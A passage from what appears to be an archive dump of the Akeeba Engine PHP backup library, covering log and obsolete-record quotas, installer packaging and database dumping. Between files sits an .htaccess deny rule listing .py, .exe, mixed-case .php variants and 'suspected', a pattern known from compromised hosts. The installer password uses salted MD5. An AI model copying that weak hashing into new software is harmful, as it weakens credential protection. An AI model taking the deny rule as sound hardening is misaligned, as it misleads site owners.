	 * @return  array  Each entry has keys: id, logpath, size, backupstart
	 * @since   10.3.3
	 */
	private function collectCandidates(): array
	{
		$platform   = Platform::getInstance();
		$db         = Factory::getDatabase($platform->get_platform_database_options());
		$statsTable = $platform->tableNameStats;
		$profileId  = $platform->get_active_profile();

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select([
				$db->qn('id'),
				$db->qn('tag'),
				$db->qn('backupid'),
				$db->qn('absolute_path'),
				$db->qn('backupstart'),
				$db->qn('frozen'),
			])
			->from($db->qn($statsTable))
			->where($db->qn('profile_id') . ' = ' . $db->q($profileId))
			->order($db->qn('id') . ' DESC');

		$db->setQuery($query);
		$records = $db->loadAssocList();

		$candidates = [];

		foreach ($records as $stat)
		{
			if (!empty($stat['frozen']))
			{
				Factory::getLog()->debug(
					sprintf('Excluding frozen backup id %d from log file quota management', $stat['id'])
				);
				continue;
			}

			if (empty($stat['absolute_path']) || empty($stat['backupid']))
			{
				continue;
			}

			$logPath = $this->resolveLogPath($stat);

			if ($logPath === null)
			{
				continue;
			}

			$backupTS = 0;

			if (!empty($stat['backupstart']))
			{
				try
				{
					$dt       = new DateTime($stat['backupstart']);
					$backupTS = (int) $dt->format('U');
				}
				catch (Exception $e)
				{
					$backupTS = 0;
				}
			}

			$candidates[] = [
				'id'          => (int) $stat['id'],
				'logpath'     => $logPath,
				'size'        => (int) (@filesize($logPath) ?: 0),
				'backupstart' => $backupTS,
			];
		}

		return $candidates;
	}

	/**
	 * Resolves the log file path for a backup record, handling the transitional .log.php → .log fallback.
	 *
	 * @param   array  $stat  The backup record fields
	 *
	 * @return  string|null  The path to the log file, or null if no log file exists on disk
	 * @since   10.3.3
	 */
	private function resolveLogPath(array $stat): ?string
	{
		$logDir      = dirname($stat['absolute_path']);
		$logFilename = 'akeeba.' . $stat['tag'] . '.' . $stat['backupid'] . '.log.php';
		$primaryPath = $logDir . '/' . $logFilename;

		if (@file_exists($primaryPath))
		{
			return $primaryPath;
		}

		// Transitional period: the .log.php file may not exist but the .log file does
		$altPath = substr($primaryPath, 0, -4);

		if (@file_exists($altPath))
		{
			return $altPath;
		}

		return null;
	}

	/**
	 * Determines which log files to remove based on the configured quota type.
	 *
	 * @param   array   $candidates     Log file candidates, sorted newest-first
	 * @param   object  $configuration  The engine configuration object
	 *
	 * @return  array  List of log file paths to remove
	 * @since   10.3.3
	 */
	private function calculateRemovePaths(array $candidates, $configuration): array
	{
		if (empty($candidates))
		{
			Factory::getLog()->debug('No log file candidates found for quota management.');

			return [];
		}

		$latestId  = Factory::getStatistics()->getId();
		$quotaType = $configuration->get('akeeba.quota.logfiles.type', 'count');

		switch ($quotaType)
		{
			case 'size':
				return $this->applyLogSizeQuota($candidates, $latestId, $configuration);

			case 'days':
				return $this->applyLogDaysQuota($candidates, $latestId, $configuration);

			case 'count':
			default:
				return $this->applyLogCountQuota($candidates, $latestId, $configuration);
		}
	}

	/**
	 * Applies a count-based quota: keep the N most recent log files.
	 *
	 * @param   array   $candidates     Log file candidates, sorted newest-first
	 * @param   int     $latestId       The current backup ID (never deleted)
	 * @param   object  $configuration  The engine configuration object
	 *
	 * @return  array
	 * @since   10.3.3
	 */
	private function applyLogCountQuota(array $candidates, int $latestId, $configuration): array
	{
		$count = max(1, (int) $configuration->get('akeeba.quota.logfiles.count', 3));

		Factory::getLog()->debug(sprintf('Applying log file count quota: keep %d log files.', $count));

		if (count($candidates) <= $count)
		{
			return [];
		}

		$toRemove    = array_slice($candidates, $count);
		$removePaths = [];

		foreach ($toRemove as $entry)
		{
			if ($entry['id'] === $latestId)
			{
				continue;
			}

			$removePaths[] = $entry['logpath'];
		}

		return $removePaths;
	}

	/**
	 * Applies a size-based quota: keep log files totalling up to X bytes.
	 *
	 * @param   array   $candidates     Log file candidates, sorted newest-first
	 * @param   int     $latestId       The current backup ID (never deleted)
	 * @param   object  $configuration  The engine configuration object
	 *
	 * @return  array
	 * @since   10.3.3
	 */
	private function applyLogSizeQuota(array $candidates, int $latestId, $configuration): array
	{
		$sizeLimit = (int) $configuration->get('akeeba.quota.logfiles.size', 0);

		if ($sizeLimit <= 0)
		{
			Factory::getLog()->debug('Log file size quota: limit is 0 or not set; no files removed.');

			return [];
		}

		Factory::getLog()->debug(
			sprintf('Applying log file size quota: keep up to %d bytes of log files.', $sizeLimit)
		);

		$runningSize = 0;
		$keepCount   = 0;

		foreach ($candidates as $entry)
		{
			$keepCount++;
			$runningSize += $entry['size'];

			if ($entry['id'] !== $latestId && $runningSize >= $sizeLimit)
			{
				break;
			}
		}

		$toRemove    = array_slice($candidates, $keepCount);
		$removePaths = [];

		foreach ($toRemove as $entry)
		{
			if ($entry['id'] === $latestId)
			{
				continue;
			}

			$removePaths[] = $entry['logpath'];
		}

		return $removePaths;
	}

	/**
	 * Applies a days-based quota: keep log files from the last X days.
	 *
	 * @param   array   $candidates     Log file candidates, sorted newest-first
	 * @param   int     $latestId       The current backup ID (never deleted)
	 * @param   object  $configuration  The engine configuration object
	 *
	 * @return  array
	 * @since   10.3.3
	 */
	private function applyLogDaysQuota(array $candidates, int $latestId, $configuration): array
	{
		$days = max(1, (int) $configuration->get('akeeba.quota.logfiles.days', 30));

		Factory::getLog()->debug(
			sprintf('Applying log file days quota: keep log files from the last %d days.', $days)
		);

		$killDatetime = new DateTime();
		$killDatetime->modify('-' . $days . ($days === 1 ? ' day' : ' days'));
		$killTS = (int) $killDatetime->format('U');

		$removePaths = [];

		foreach ($candidates as $entry)
		{
			if ($entry['id'] === $latestId)
			{
				continue;
			}

			if ($entry['backupstart'] < $killTS)
			{
				$removePaths[] = $entry['logpath'];
			}
		}

		return $removePaths;
	}
}
PK     \Sʉ      ;  vendor/akeeba/engine/engine/Core/Domain/Finalizer/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \>Ƥ    K  vendor/akeeba/engine/engine/Core/Domain/Finalizer/ObsoleteRecordsQuotas.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Keeps a maximum number of "obsolete" records
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 */
final class ObsoleteRecordsQuotas extends AbstractFinalizer
{

	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Applying quota limit on obsolete backup records');
		$this->setSubstep('');
		$registry = Factory::getConfiguration();
		$limit    = $registry->get('akeeba.quota.obsolete_quota', 0);
		$limit    = (int) $limit;

		if ($limit <= 0)
		{
			return true;
		}

		$platform   = Platform::getInstance();
		$statsTable = $platform->tableNameStats;
		$db         = Factory::getDatabase($platform->get_platform_database_options());
		$query      =
			(method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			   ->select([
				   $db->qn('id'),
				   $db->qn('tag'),
				   $db->qn('backupid'),
				   $db->qn('absolute_path'),
			   ])
			   ->from($db->qn($statsTable))
			   ->where($db->qn('profile_id') . ' = ' . $db->q($platform->get_active_profile()))
			   ->where($db->qn('status') . ' = ' . $db->q('complete'))
			   ->where($db->qn('filesexist') . '=' . $db->q('0'))
			   ->where(
				   '(' .
				   $db->qn('remote_filename') . '=' . $db->q('') . ' OR ' .
				   $db->qn('remote_filename') . ' IS NULL'
				   . ')'
			   )
			   ->order($db->qn('id') . ' DESC');

		$db->setQuery($query, $limit, 100000);
		$records = $db->loadAssocList();

		if (empty($records))
		{
			return true;
		}

		$array = [];

		// Delete backup-specific log files if they exist and add the IDs of the records to delete in the $array
		foreach ($records as $stat)
		{
			$array[] = $stat['id'];

			// We can't delete logs if there is no backup ID in the record
			if (!isset($stat['backupid']) || empty($stat['backupid']))
			{
				continue;
			}

			$logFileName = 'akeeba.' . $stat['tag'] . '.' . $stat['backupid'] . '.log.php';
			$logPath     = dirname($stat['absolute_path']) . '/' . $logFileName;

			if (@file_exists($logPath))
			{
				@unlink($logPath);
			}

			/**
			 * Transitional period: the log file akeeba.tag.log.php may not exist but the akeeba.tag.log does. This
			 * addresses this transition.
			 */
			$logPath = dirname($stat['absolute_path']) . '/' . substr($logFileName, 0, -4);

			if (@file_exists($logPath))
			{
				@unlink($logPath);
			}
		}

		$ids = [];

		foreach ($array as $id)
		{
			$ids[] = $db->q($id);
		}

		$ids = implode(',', $ids);

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		            ->delete($db->qn($statsTable))
		            ->where($db->qn('id') . " IN ($ids)");
		$db->setQuery($query);
		$db->query();

		return true;
	}
}PK     \zK  K  5  vendor/akeeba/engine/engine/Core/Domain/Installer.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\HashTrait;

/**
 * Installer deployment
 */
final class Installer extends Part
{
	use HashTrait;

	/** @var int Installer image file offset last read */
	private $offset;

	/** @var int How much installer data I have processed yet */
	private $runningSize = 0;

	/** @var int Installer image file index last read */
	private $xformIndex = 0;

	/** @var int Percentage of process done */
	private $progress = 0;

	/**
	 * Public constructor
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");
	}

	/**
	 * Implements the _prepare abstract method
	 *
	 */
	function _prepare()
	{
		$archive = Factory::getArchiverEngine();

		// Add the backup description and comment in a README.html file in the
		// installation directory. This makes it the first file in the archive.
		if (!empty($this->installerSettings->readme ?? ''))
		{
			$data = $this->createReadme();
			$archive->addFileVirtual('README.html', $this->installerSettings->installerroot, $data);
		}

		if (!empty($this->installerSettings->extrainfo ?? ''))
		{
			$data = $this->createExtrainfo();
			$archive->addFileVirtual('extrainfo.json', $this->installerSettings->installerroot, $data);
		}

		if (!empty($this->installerSettings->password ?? ''))
		{
			$data = $this->createPasswordFile();

			if (!empty($data))
			{
				$archive->addFileVirtual('password.php', $this->installerSettings->installerroot, $data);
			}
		}

		$this->progress = 0;

		// Set our state to prepared
		$this->setState(self::STATE_PREPARED);
	}

	/**
	 * Implements the _run() abstract method
	 */
	function _run()
	{
		if ($this->getState() == self::STATE_POSTRUN)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Already finished");
			$this->setStep('');
			$this->setSubstep('');
		}
		else
		{
			$this->setState(self::STATE_RUNNING);
		}

		// Try to step the archiver
		$archive = Factory::getArchiverEngine();
		$ret     = $archive->transformJPA($this->xformIndex, $this->offset);

		if ($ret !== false)
		{
			$this->offset     = $ret['offset'];
			$this->xformIndex = $ret['index'];
			$this->setStep($ret['filename']);
		}

		// Check for completion
		if ($ret['done'])
		{
			Factory::getLog()->debug(__CLASS__ . ":: archive is initialized");
			$this->setState(self::STATE_FINISHED);
		}

		// Calculate percentage
		$this->runningSize += $ret['chunkProcessed'] ?? 0;

		if ($ret['filesize'] > 0)
		{
			$this->progress = $this->runningSize / $ret['filesize'];
		}
	}

	/**
	 * Implements the _finalize() abstract method
	 *
	 */
	function _finalize()
	{
		$this->setState(self::STATE_FINISHED);
		$this->progress = 1;
	}

	/**
	 * Implements the progress calculation based on how much of the installer image
	 * archive we have processed so far.
	 */
	public function getProgress()
	{
		return $this->progress;
	}

	/**
	 * Creates the contents of an HTML file with the description and comment of
	 * the backup. This file will be saved as README.html in the installer's root
	 * directory, as specified by the embedded installer's settings.
	 *
	 * @return string The contents of the HTML file.
	 */
	protected function createReadme()
	{
		$config = Factory::getConfiguration();

		$version = defined('AKEEBABACKUP_VERSION') ? AKEEBABACKUP_VERSION : AKEEBA_VERSION;
		$date    = defined('AKEEBABACKUP_DATE') ? AKEEBABACKUP_DATE : AKEEBA_DATE;
		$pro     = defined('AKEEBABACKUP_PRO') ? AKEEBABACKUP_PRO : AKEEBA_PRO;

		$lbl_version   = $version . ' (' . $date . ')';
		$lbl_coreorpro = ($pro == 1) ? 'Professional' : 'Core';

		$description = $config->get('volatile.core.description', '');
		$comment     = $config->get('volatile.core.comment', '');

		$config->set('volatile.core.description', null);
		$config->set('volatile.core.comment', null);

		return <<<ENDHTML
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Akeeba Backup Archive Identity</title>
</head>
<body>
	<h1>Akeeba Backup Archive Identity</h1>
	<h2>Backup Description</h2>
	<p id="description">$description</p>
	<h2>Backup Comment</h2>
	<div id="comment">
	$comment
	</div>
	<hr/>
	<p>
		Created with Akeeba Backup $lbl_coreorpro $lbl_version
	</p>
</body>
</html>
ENDHTML;
	}

	protected function createExtrainfo()
	{
		$abversion  = defined('AKEEBABACKUP_VERSION') ? AKEEBABACKUP_VERSION : AKEEBA_VERSION;
		$host       = Platform::getInstance()->get_host();
		$backupdate = gmdate('Y-m-d H:i:s');
		$phpversion = PHP_VERSION;
		$rootPath   = Platform::getInstance()->get_site_root();

		$data = [
			'host'           => $host,
			'backup_date'    => $backupdate,
			'akeeba_version' => $abversion,
			'php_version'    => $phpversion,
			'root'           => $rootPath,
		];

		$platform = Platform::getInstance();

		try
		{
			$extraData = $platform->get_extra_info();
		}
		catch (\Exception $e)
		{
			// Not all platform classes implement get_extra_info(), therefore Platform will throw an Exception
			$extraData = [];
		}

		$data = array_merge($data, $extraData);

		$ret = json_encode($data, JSON_PRETTY_PRINT);

		return $ret;
	}

	protected function createPasswordFile()
	{
		$config = Factory::getConfiguration();
		$ret    = '';

		$password = $config->get('engine.installer.angie.key', '');

		if (empty($password))
		{
			return $ret;
		}

		$randVal = Factory::getRandval();

		$salt     = $randVal->generateString(32);
		$passhash = self::md5($password . $salt) . ':' . $salt;
		$ret      = "<?php\n";
		$ret      .= "define('AKEEBA_PASSHASH', '" . $passhash . "');\n";

		return $ret;
	}
}
PK     \lu`+  `+  .  vendor/akeeba/engine/engine/Core/Domain/Db.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Dump\Base as DumpBase;
use Akeeba\Engine\Factory;
use RuntimeException;

/**
 * Multiple database backup engine.
 */
final class Db extends Part
{
	/** @var array A list of the databases to be packed */
	private $database_list = [];

	/** @var array The current database configuration data */
	private $database_config = null;

	/** @var DumpBase The current dumper engine used to backup tables */
	private $dump_engine = null;

	/** @var string The contents of the databases.json file */
	private $databases_json = '';

	/** @var array An array containing the database definitions of all dumped databases so far */
	private $dumpedDatabases = [];

	/** @var int Total number of databases left to be processed */
	private $total_databases = 0;

	/**
	 * Implements the constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");
	}

	/**
	 * Implements the getProgress() percentage calculation based on how many
	 * databases we have fully dumped and how much of the current database we
	 * have dumped.
	 *
	 * @return  float
	 */
	public function getProgress()
	{
		if (!$this->total_databases)
		{
			return 0;
		}

		// Get the overall percentage (based on databases fully dumped so far)
		$remaining_steps = count($this->database_list);
		$remaining_steps++;
		$overall = 1 - ($remaining_steps / $this->total_databases);

		// How much is this step worth?
		$this_max = 1 / $this->total_databases;

		// Get the percentage done of the current database
		$local = is_object($this->dump_engine) ? $this->dump_engine->getProgress() : 0;

		$percentage = $overall + $local * $this_max;

		if ($percentage < 0)
		{
			$percentage = 0;
		}
		elseif ($percentage > 1)
		{
			$percentage = 1;
		}

		return $percentage;
	}

	/**
	 * Implements the _prepare abstract method
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Preparing instance");

		// Populating the list of databases
		$this->populate_database_list();

		$this->total_databases = count($this->database_list);

		$this->setState(self::STATE_PREPARED);
	}

	/**
	 * Implements the _run() abstract method
	 *
	 * @return  void
	 */
	protected function _run()
	{
		if ($this->getState() == self::STATE_POSTRUN)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Already finished");
			$this->setStep('');
			$this->setSubstep('');
		}
		else
		{
			$this->setState(self::STATE_RUNNING);
		}

		// Make sure we have a dumper instance loaded!
		if (is_null($this->dump_engine) && !empty($this->database_list))
		{
			Factory::getLog()->debug(__CLASS__ . " :: Iterating next database");

			// Reset the volatile key holding the table names for this database
			Factory::getConfiguration()->set('volatile.database.table_names', []);

			// Create a new instance
			$this->dump_engine = Factory::getDumpEngine(true);

			// Configure the dumper instance and pass on the volatile database root registry key
			$registry = Factory::getConfiguration();
			$rootkeys = array_keys($this->database_list);
			$root     = array_shift($rootkeys);
			$registry->set('volatile.database.root', $root);

			$this->database_config                         = array_shift($this->database_list);
			$this->database_config['root']                 = $root;
			$this->database_config['process_empty_prefix'] = ($root == '[SITEDB]') ? true : false;

			Factory::getLog()->debug(sprintf("%s :: Now backing up %s (%s)", __CLASS__, $root, $this->database_config['database']));

			$this->dump_engine->setup($this->database_config);
		}
		elseif (is_null($this->dump_engine) && empty($this->database_list))
		{
			throw new RuntimeException('Current dump engine died while resuming the step');
		}

		// Try to step the instance
		$retArray = $this->dump_engine->tick();

		// Error propagation
		$this->lastException = $retArray['ErrorException'];

		if (!is_null($this->lastException))
		{
			throw $this->lastException;
		}

		$this->setStep($retArray['Step']);
		$this->setSubstep($retArray['Substep']);

		// Check if the instance has finished
		if (!$retArray['HasRun'])
		{
			// Set the number of parts
			$this->database_config['parts'] = $this->dump_engine->partNumber + 1;

			// Push the list of tables in the database into the definition of the last database backed up
			$this->database_config['tables'] = Factory::getConfiguration()->get('volatile.database.table_names', []);
			Factory::getConfiguration()->set('volatile.database.table_names', []);

			// Get the (possibly updated) database table name prefix
			$this->database_config['prefix'] = $this->dump_engine->getPrefix();

			// Push the definition of the last database backed up into dumpedDatabases
			array_push($this->dumpedDatabases, $this->database_config);

			// Go to the next entry in the list and dispose the old AkeebaDumperDefault instance
			$this->dump_engine = null;

			// Are we past the end of the list?
			if (empty($this->database_list))
			{
				Factory::getLog()->debug(__CLASS__ . " :: No more databases left to iterate");
				$this->setState(self::STATE_POSTRUN);
			}
		}
	}

	/**
	 * Implements the _finalize() abstract method
	 *
	 * @return  void
	 */
	protected function _finalize()
	{
		$this->setState(self::STATE_FINISHED);

		// If we are in db backup mode, don't create a databases.json
		$configuration = Factory::getConfiguration();

		if (!Factory::getEngineParamsProvider()->getScriptingParameter('db.databasesini', 1))
		{
			Factory::getLog()->debug(__CLASS__ . " :: Skipping databases.json");
		}
		// Create the databases.json contents
		// P.A. This still has the old name with the "ini" string. That's for legacy support. Must update it in the future
		elseif ($this->installerSettings->databasesini)
		{
			$this->createDatabasesJSON();

			Factory::getLog()->debug(__CLASS__ . " :: Creating databases.json");

			// Create a new string
			$databasesJSON = json_encode($this->databases_json, JSON_PRETTY_PRINT);

			Factory::getLog()->debug(__CLASS__ . " :: Writing databases.json contents");

			$archiver        = Factory::getArchiverEngine();
			$virtualLocation = (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') == 'short') ? '' : $this->installerSettings->sqlroot;
			$archiver->addFileVirtual('databases.json', $virtualLocation, $databasesJSON);
		}

		// On alldb mode, we have to finalize the archive as well
		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.finalizearchive', 0))
		{
			Factory::getLog()->info("Finalizing database dump archive");

			$archiver = Factory::getArchiverEngine();
			$archiver->finalize();
		}

		// In CLI mode we'll also close the database connection
		if (defined('AKEEBACLI'))
		{
			Factory::getLog()->info("Closing the database connection to the main database");
			Factory::unsetDatabase();
		}
	}

	/**
	 * Populates database_list with the list of databases in the settings
	 *
	 * @return void
	 */
	protected function populate_database_list()
	{
		// Get database inclusion filters
		$filters             = Factory::getFilters();
		$this->database_list = $filters->getInclusions('db');

		if (
			Factory::getEngineParamsProvider()->getScriptingParameter('db.skipextradb', 0)
		)
		{
			// On database only backups we prune extra databases
			Factory::getLog()->debug(__CLASS__ . " :: Adding only main database");

			if (count($this->database_list) == 1)
			{
				Factory::getLog()->debug(__CLASS__ . " :: Only the main site database was defined (good!)");

				return;
			}

			$this->database_list = [
				'[SITEDB]' => $this->database_list['[SITEDB]'] ?? array_shift($this->database_list)
			];

		}
	}

	protected function createDatabasesJSON()
	{
		// caching databases.json contents
		Factory::getLog()->debug(__CLASS__ . " :: Creating databases.json data");

		// Create a new array
		$this->databases_json = [];

		$registry = Factory::getConfiguration();

		$blankOutPass = $registry->get('engine.dump.common.blankoutpass', 0);
		$siteRoot     = $registry->get('akeeba.platform.newroot', '');

		// Loop through databases list
		foreach ($this->dumpedDatabases as $definition)
		{
			$section = basename($definition['dumpFile']);

			$dboInstance = Factory::getDatabase($definition);
			$type        = $dboInstance->name;
			$tech        = $dboInstance->getDriverType();

			// If the database is a sqlite one, we have to process the database name which contains the path
			// At the moment we only handle the case where the db file is UNDER site root
			if ($tech == 'sqlite')
			{
				$definition['database'] = str_replace($siteRoot, '#SITEROOT#', $definition['database']);
			}

			$this->databases_json[$section] = [
				'dbtype'                => $type,
				'dbtech'                => $tech,
				'dbname'                => $definition['database'],
				'sqlfile'               => $definition['dumpFile'],
				'marker'                => "\n/**ABDB**/",
				'dbhost'                => $definition['host'] ?? '',
				'dbport'                => $definition['port'] ?? '',
				'dbsocket'              => $definition['socket'] ?? '',
				'dbuser'                => $definition['username'] ?? '',
				'dbpass'                => $definition['password'] ?? '',
				'prefix'                => $definition['prefix'] ?? '',
				'dbencryption'          => $definition['dbencryption'] ?? 0,
				'dbsslcipher'           => $definition['dbsslcipher'] ?? '',
				'dbsslca'               => $definition['dbsslca'] ?? '',
				'dbsslkey'              => $definition['dbsslkey'] ?? '',
				'dbsslcert'             => $definition['dbsslcert'] ?? '',
				'dbsslverifyservercert' => $definition['dbsslverifyservercert'] ?? 0,
				'parts'                 => $definition['parts'],
				'tables'                => $definition['tables'],
			];

			if ($blankOutPass)
			{
				$this->databases_json[$section]['dbuser']    = '';
				$this->databases_json[$section]['dbpass']    = '';
				$this->databases_json[$section]['dbsslca']   = '';
				$this->databases_json[$section]['dbsslkey']  = '';
				$this->databases_json[$section]['dbsslcert'] = '';
			}
		}
	}
}
PK     \    8  vendor/akeeba/engine/engine/Core/Domain/Finalization.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Core\Domain\Finalizer\LocalQuotas;
use Akeeba\Engine\Core\Domain\Finalizer\LogFileQuotas;
use Akeeba\Engine\Core\Domain\Finalizer\MailAdministrators;
use Akeeba\Engine\Core\Domain\Finalizer\ObsoleteRecordsQuotas;
use Akeeba\Engine\Core\Domain\Finalizer\PostProcessing;
use Akeeba\Engine\Core\Domain\Finalizer\RemoteQuotas;
use Akeeba\Engine\Core\Domain\Finalizer\RemoveTemporaryFiles;
use Akeeba\Engine\Core\Domain\Finalizer\UpdateFileSizes;
use Akeeba\Engine\Core\Domain\Finalizer\UpdateStatistics;
use Akeeba\Engine\Core\Domain\Finalizer\UploadKickstart;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DateTime;
use Exception;
use Akeeba\Engine\Psr\Log\LogLevel;

/**
 * Backup finalization domain
 */
final class Finalization extends Part
{
	/** @var array The finalisation actions we have to execute (FIFO queue) */
	private $actionQueue = [];

	/** @var string The current method, shifted from the action queye */
	private $currentActionClass = '';

	private $currentActionObject = null;

	/** @var int How many finalisation steps I have already done */
	private $stepsDone = 0;

	/** @var int How many finalisation steps I have in total */
	private $stepsTotal = 0;

	/** @var int How many finalisation substeps I have already done */
	private $subStepsDone = 0;

	/** @var int How many finalisation substeps I have in total */
	private $subStepsTotal = 0;

	/**
	 * Get the percentage of finalization steps done
	 *
	 * @return  float
	 */
	public function getProgress()
	{
		if ($this->stepsTotal <= 0)
		{
			return 0;
		}

		$overall = $this->stepsDone / $this->stepsTotal;
		$local   = 0;

		if ($this->subStepsTotal > 0)
		{
			$local = $this->subStepsDone / $this->subStepsTotal;
		}

		return $overall + ($local / $this->stepsTotal);
	}

	/**
	 * Relays and logs an exception
	 *
	 * @param   \Throwable  $e         The exception or throwable to log
	 * @param   string      $logLevel  The log level to log it with
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	public function relayException(\Throwable $e, string $logLevel = LogLevel::ERROR): void
	{
		self::logErrorsFromException($e, $logLevel);
	}

	/**
	 * Used by additional handler classes to relay their step to us
	 *
	 * @param   string  $step  The current step
	 */
	public function relayStep($step)
	{
		$this->setStep($step);
	}

	/**
	 * Used by additional handler classes to relay their substep to us
	 *
	 * @param   string  $substep  The current sub-step
	 */
	public function relaySubstep($substep)
	{
		$this->setSubstep($substep);
	}

	/**
	 * Implements the abstract method
	 *
	 * @return void
	 */
	protected function _finalize()
	{
		$this->setState(self::STATE_FINISHED);
	}

	/**
	 * Initialise the finalisation engine
	 */
	protected function _prepare()
	{
		// Make sure the break flag is not set
		$configuration = Factory::getConfiguration();
		$configuration->get('volatile.breakflag', false);

		// Get the quota actions
		$quotaActions = $configuration->get('volatile.core.finalization.quotaActions', null);

		$quotaActions = is_array($quotaActions) ? $quotaActions : [
			LocalQuotas::class,
			RemoteQuotas::class,
			ObsoleteRecordsQuotas::class,
			LogFileQuotas::class,
		];

		// Get the default finalization actions
		$defaultActions = array_merge(
			[
				RemoveTemporaryFiles::class,
				UpdateStatistics::class,
				UpdateFileSizes::class,
				PostProcessing::class,
				UploadKickstart::class,
			],
			$quotaActions,
			[
				MailAdministrators::class,
				// Run it a second time to update the backup end time after post-processing, emails, etc
				UpdateStatistics::class,
			]
		);

		// Populate the actions queue, if it's not already set in a subclass
		$this->actionQueue = $this->actionQueue ?: $defaultActions;

		// Apply action queue customisations
		$customQueue       = $configuration->get('volatile.core.finalization.action_queue', null);
		$customQueueBefore = $configuration->get('volatile.core.finalization.action_queue_before', null);
		$customQueueAfter  = $configuration->get('volatile.core.finalization.action_queue_after', null);

		if (is_array($customQueue) && !empty($customQueue))
		{
			Factory::getLog()->debug('Overriding action queue');
			$this->actionQueue = $customQueue;
		}
		else
		{
			if (is_array($customQueueBefore) && !empty($customQueueBefore))
			{
				Factory::getLog()->debug('Adding finalization actions before post-processing');
				$before = array_slice($this->actionQueue, 0, 3);
				$after  = array_slice($this->actionQueue, 3);

				$this->actionQueue = array_merge($before, $customQueueBefore, $after);
			}

			if (is_array($customQueueAfter) && !empty($customQueueAfter))
			{
				Factory::getLog()->debug('Adding finalization actions at the end of the queue');
				$before = array_slice($this->actionQueue, 0, -1);
				$after  = array_slice($this->actionQueue, -1, 1);

